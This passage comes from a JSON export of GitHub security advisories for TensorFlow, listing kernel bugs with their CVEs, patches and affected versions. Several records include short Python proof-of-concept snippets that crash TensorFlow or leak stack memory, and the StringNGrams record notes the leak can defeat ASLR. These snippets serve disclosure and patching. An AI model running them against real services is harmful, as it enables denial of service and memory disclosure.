these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:27:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cfx7-2xpc-8w4h","https://nvd.nist.gov/vuln/detail/CVE-2021-29593","https://github.com/tensorflow/tensorflow/commit/2c74674348a4708ced58ad6eb1b23354df8ee044","https://github.com/tensorflow/tensorflow/blob/b5ed552fe55895aee8bd8b191f744a069957d18d/tensorflow/lite/kernels/batch_to_space_nd.cc#L81-L82","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-521.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-719.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-230.yaml","https://github.com/advisories/GHSA-cfx7-2xpc-8w4h"],"source_kind":"github","identifiers":["GHSA-cfx7-2xpc-8w4h","CVE-2021-29593"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.344Z","updated_at":"2024-10-31T21:23:54.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTN3NjctcTc4NC02dzdj","url":"https://github.com/advisories/GHSA-3w67-q784-6w7c","title":"Division by zero in TFLite's implementation of `GatherNd`","description":"### Impact\nThe reference implementation of the `GatherNd` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/internal/reference/reference_ops.h#L966):\n\n```cc \nret.dims_to_count[i] = remain_flat_size / params_shape.Dims(i);\n```\n\nAn attacker can craft a model such that `params` input would be an empty tensor. In turn, `params_shape.Dims(.)` would be zero, in at least one dimension.\n\n### Patches\nWe have patched the issue in GitHub commit [8e45822aa0b9f5df4b4c64f221e64dc930a70a9d](https://github.com/tensorflow/tensorflow/commit/8e45822aa0b9f5df4b4c64f221e64dc930a70a9d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. \n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:26:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-3w67-q784-6w7c","https://nvd.nist.gov/vuln/detail/CVE-2021-29589","https://github.com/tensorflow/tensorflow/commit/8e45822aa0b9f5df4b4c64f221e64dc930a70a9d","https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/internal/reference/reference_ops.h#L966","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-517.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-715.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-226.yaml","https://github.com/advisories/GHSA-3w67-q784-6w7c"],"source_kind":"github","identifiers":["GHSA-3w67-q784-6w7c","CVE-2021-29589"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":11.195920374895437,"packages":[{"versions":[{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.128Z","updated_at":"2024-10-31T21:03:07.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"GSA_kwCzR0hTQS02aGc2LTVjMnEtN3Jjcs4AAyUA","url":"https://github.com/advisories/GHSA-6hg6-5c2q-7rcr","title":"TensorFlow has Heap-buffer-overflow in AvgPoolGrad ","description":"### Impact\n```python\nimport os\nos.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'\nimport tensorflow as tf\nprint(tf.__version__)\nwith tf.device(\"CPU\"):\n    ksize = [1, 40, 128, 1]\n    strides = [1, 128, 128, 30]\n    padding = \"SAME\"\n    data_format = \"NHWC\"\n    orig_input_shape = [11, 9, 78, 9]\n    grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)\n    res = tf.raw_ops.AvgPoolGrad(\n        ksize=ksize,\n        strides=strides,\n        padding=padding,\n        data_format=data_format,\n        orig_input_shape=orig_input_shape,\n        grad=grad,\n    )\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ddaac2bdd099bec5d7923dea45276a7558217e5b](https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b).\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by \u003cevn@google.com\u003e\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:58:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6hg6-5c2q-7rcr","https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b","https://nvd.nist.gov/vuln/detail/CVE-2023-25664","https://github.com/advisories/GHSA-6hg6-5c2q-7rcr"],"source_kind":"github","identifiers":["GHSA-6hg6-5c2q-7rcr","CVE-2023-25664"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.193Z","updated_at":"2023-03-27T22:00:22.000Z","epss_percentage":0.00069,"epss_percentile":0.21479},{"uuid":"GSA_kwCzR0hTQS1yYzl3LTVjNjQtOXZxcc4AArBS","url":"https://github.com/advisories/GHSA-rc9w-5c64-9vqq","title":"Missing validation results in undefined behavior in `SparseTensorDenseAdd","description":"### Impact\nThe implementation of [`tf.raw_ops.SparseTensorDenseAdd`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/sparse_tensor_dense_add_op.cc) does not fully validate the input arguments:\n\n```python\nimport tensorflow as tf\n\na_indices = tf.constant(0, shape=[17, 2], dtype=tf.int64)\na_values = tf.constant([], shape=[0], dtype=tf.float32)\na_shape = tf.constant([6, 12], shape=[2], dtype=tf.int64)\n\nb = tf.constant(-0.223668531, shape=[6, 12], dtype=tf.float32)\n\ntf.raw_ops.SparseTensorDenseAdd(\n    a_indices=a_indices, a_values=a_values, a_shape=a_shape, b=b)\n```\n\nIn this case, a reference gets bound to a `nullptr` during kernel execution. This is UB.\n\n### Patches\nWe have patched the issue in GitHub commit [11ced8467eccad9c7cb94867708be8fa5c66c730](https://github.com/tensorflow/tensorflow/commit/11ced8467eccad9c7cb94867708be8fa5c66c730).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T22:13:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rc9w-5c64-9vqq","https://nvd.nist.gov/vuln/detail/CVE-2022-29206","https://github.com/tensorflow/tensorflow/commit/11ced8467eccad9c7cb94867708be8fa5c66c730","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/sparse_tensor_dense_add_op.cc","https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4","https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1","https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0","https://github.com/advisories/GHSA-rc9w-5c64-9vqq"],"source_kind":"github","identifiers":["GHSA-rc9w-5c64-9vqq","CVE-2022-29206"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:23.688Z","updated_at":"2023-01-27T05:01:57.000Z","epss_percentage":0.00066,"epss_percentile":0.20822},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc3cDUtNTc1OS1xdjQ2","url":"https://github.com/advisories/GHSA-g7p5-5759-qv46","title":"Data leak in Tensorflow","description":"### Impact\nThe `data_splits` argument of [`tf.raw_ops.StringNGrams`](https://www.tensorflow.org/api_docs/python/tf/raw_ops/StringNGrams) lacks validation. This allows a user to pass values that can cause heap overflow errors and even leak contents of memory\n```python\n\u003e\u003e\u003e tf.raw_ops.StringNGrams(data=[\"aa\", \"bb\", \"cc\", \"dd\", \"ee\", \"ff\"], data_splits=[0,8], separator=\" \", ngram_widths=[3], left_pad=\"\", right_pad=\"\", pad_width=0, preserve_short_sequences=False)\nStringNGrams(ngrams=\u003ctf.Tensor: shape=(6,), dtype=string, numpy=\narray([b'aa bb cc', b'bb cc dd', b'cc dd ee', b'dd ee ff',\n       b'ee ff \\xf4j\\xa7q\\x7f\\x00\\x00q\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd8\\x9b~\\xa8q\\x7f\\x00',\n       b'ff \\xf4j\\xa7q\\x7f\\x00\\x00q\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd8\\x9b~\\xa8q\\x7f\\x00 \\x9b~\\xa8q\\x7f\\x00\\x00p\\xf5j\\xa7q\\x7f\\x00\\x00H\\xf8j\\xa7q\\x7f\\x00\\x00\\xf0\\xf3\\xf7\\x85q\\x7f\\x00\\x00`}\\xa6\\x00\\x00\\x00\\x00\\x00`~\\xa6\\x00\\x00\\x00\\x00\\x00\\xb0~\\xeb\\x9bq\\x7f\\x00'],...\n```\n\nAll the binary strings after `ee ff` are contents from the memory stack. Since these can contain return addresses, this data leak can be used to defeat ASLR.\n\n### Patches\nWe have patched the issue in 0462de5b544ed4731aa2fb23946ac22c01856b80 and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-09-25T18:28:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-g7p5-5759-qv46","https://github.com/tensorflow/tensorflow/commit/0462de5b544ed4731aa2fb23946ac22c01856b80","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15205","http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00065.html","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-285.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-320.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-128.yaml","https://github.com/advisories/GHSA-g7p5-5759-qv46"],"source_kind":"github","identifiers":["GHSA-g7p5-5759-qv46","CVE-2020-15205"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":31.640644537747974,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.737Z","updated_at":"2024-10-30T21:11:47.000Z","epss_percentage":0.00544,"epss_percentile":0.66511},{"uuid":"GSA_kwCzR0hTQS1nNDY4LXFqOGctdmNqY84AAu2P","url":"https://github.com/advisories/GHSA-g468-qj8g-vcjc","title":"TensorFlow vulnerable to `CHECK`-fail in `tensorflow::full_type::SubstituteFromAttrs`","description":"### Impact\nWhen [`tensorflow::full_type::SubstituteFromAttrs`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/ops/math_ops.cc) receives a `FullTypeDef\u0026 t` that is not exactly three args, it triggers a `CHECK`-fail instead of returning a status.\n```cpp\nStatus SubstituteForEach(AttrMap\u0026 attrs, FullTypeDef\u0026 t) {\n  DCHECK_EQ(t.args_size(), 3);\n\n  const auto\u0026 cont = t.args(0);\n  const auto\u0026 tmpl = t.args(1);\n  const auto\u0026 t_var = t.args(2);\n```\n\n### Patches\nWe have patched the issue in GitHub commit [6104f0d4091c260ce9352f9155f7e9b725eab012](https://github.com/tensorflow/tensorflow/commit/6104f0d4091c260ce9352f9155f7e9b725eab012).\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n","origin":"UNSPECIFIED","severity":"LOW","published_at":"2022-09-16T21:22:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-g468-qj8g-vcjc","https://github.com/tensorflow/tensorflow/commit/6104f0d4091c260ce9352f9155f7e9b725eab012","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36016","https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/ops/math_ops.cc","https://github.com/advisories/GHSA-g468-qj8g-vcjc"],"source_kind":"github","identifiers":["GHSA-g468-qj8g-vcjc","CVE-2022-36016"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.303Z","updated_at":"2023-01-28T05:03:10.000Z","epss_percentage":0.00273,"epss_percentile":0.50452},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTYyZ3gtMzU1ci05Zmhn","url":"https://github.com/advisories/GHSA-62gx-355r-9fhg","title":"Session operations in eager mode lead to null pointer dereferences","description":"### Impact\nIn eager mode (default in TF 2.0 and later), session operations are invalid. However, users could still call the raw ops associated with them and trigger a null pointer dereference:\n\n```python\nimport tensorflow as tf\ntf.raw_ops.GetSessionTensor(handle=['\\x12\\x1a\\x07'],dtype=4)\n```\n```python\nimport tensorflow as tf\ntf.raw_ops.DeleteSessionTensor(handle=['\\x12\\x1a\\x07'])\n``` \n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/eebb96c2830d48597d055d247c0e9aebaea94cd5/tensorflow/core/kernels/session_ops.cc#L104) dereferences the session state pointer without checking if it is valid:\n  \n```cc\n  OP_REQUIRES_OK(ctx, ctx-\u003esession_state()-\u003eGetTensor(name, \u0026val));\n```\n\nThus, in eager mode, `ctx-\u003esession_state()` is nullptr and the call of the member function is undefined behavior.\n\n### Patches\nWe have patched the issue in GitHub commit [ff70c47a396ef1e3cb73c90513da4f5cb71bebba](https://github.com/tensorflow/tensorflow/commit/ff70c47a396ef1e3cb73c90513da4f5cb71bebba).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:21:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-62gx-355r-9fhg","https://nvd.nist.gov/vuln/detail/CVE-2021-29518","https://github.com/tensorflow/tensorflow/commit/ff70c47a396ef1e3cb73c90513da4f5cb71bebba","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-446.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-644.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-155.yaml","https://github.com/advisories/GHSA-62gx-355r-9fhg"],"source_kind":"github","identifiers":["GHSA-62gx-355r-9fhg","CVE-2021-29518"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.309Z","updated_at":"2024-10-30T23:12:45.000Z","epss_percentage":0.00009,"epss_percentile":0.0055},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhjNmMtNzVwNC1obXE0","url":"https://github.com/advisories/GHSA-hc6c-75p4-hmq4","title":"Reference binding to null pointer in `MatrixDiag*` ops","description":"### Impact\nThe implementation of [`MatrixDiag*` operations](https://github.com/tensorflow/tensorflow/blob/4c4f420e68f1cfaf8f4b6e8e3eb857e9e4c3ff33/tensorflow/core/kernels/linalg/matrix_diag_op.cc#L195-L197) does not validate that the tensor arguments are non-empty:\n\n```cc\n      num_rows = context-\u003einput(2).flat\u003cint32\u003e()(0);\n      num_cols = context-\u003einput(3).flat\u003cint32\u003e()(0);\n      padding_value = context-\u003einput(4).flat\u003cT\u003e()(0); \n``` \n\nThus, users can trigger null pointer dereferences if any of the above tensors are null:\n\n```python\nimport tensorflow as tf\n\nd = tf.convert_to_tensor([],dtype=tf.float32)\np = tf.convert_to_tensor([],dtype=tf.float32)\ntf.raw_ops.MatrixDiagV2(diagonal=d, k=0, num_rows=0, num_cols=0, padding_value=p)\n```\n\nChanging from `tf.raw_ops.MatrixDiagV2` to `tf.raw_ops.MatrixDiagV3` still reproduces the issue.\n\n### Patches\nWe have patched the issue in GitHub commit [a7116dd3913c4a4afd2a3a938573aa7c785fdfc6](https://github.com/tensorflow/tensorflow/commit/a7116dd3913c4a4afd2a3a938573aa7c785fdfc6).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ye Zhang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:20:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-hc6c-75p4-hmq4","https://nvd.nist.gov/vuln/detail/CVE-2021-29515","https://github.com/tensorflow/tensorflow/commit/a7116dd3913c4a4afd2a3a938573aa7c785fdfc6","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-443.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-641.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-152.yaml","https://github.com/advisories/GHSA-hc6c-75p4-hmq4"],"source_kind":"github","identifiers":["GHSA-hc6c-75p4-hmq4","CVE-2021-29515"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 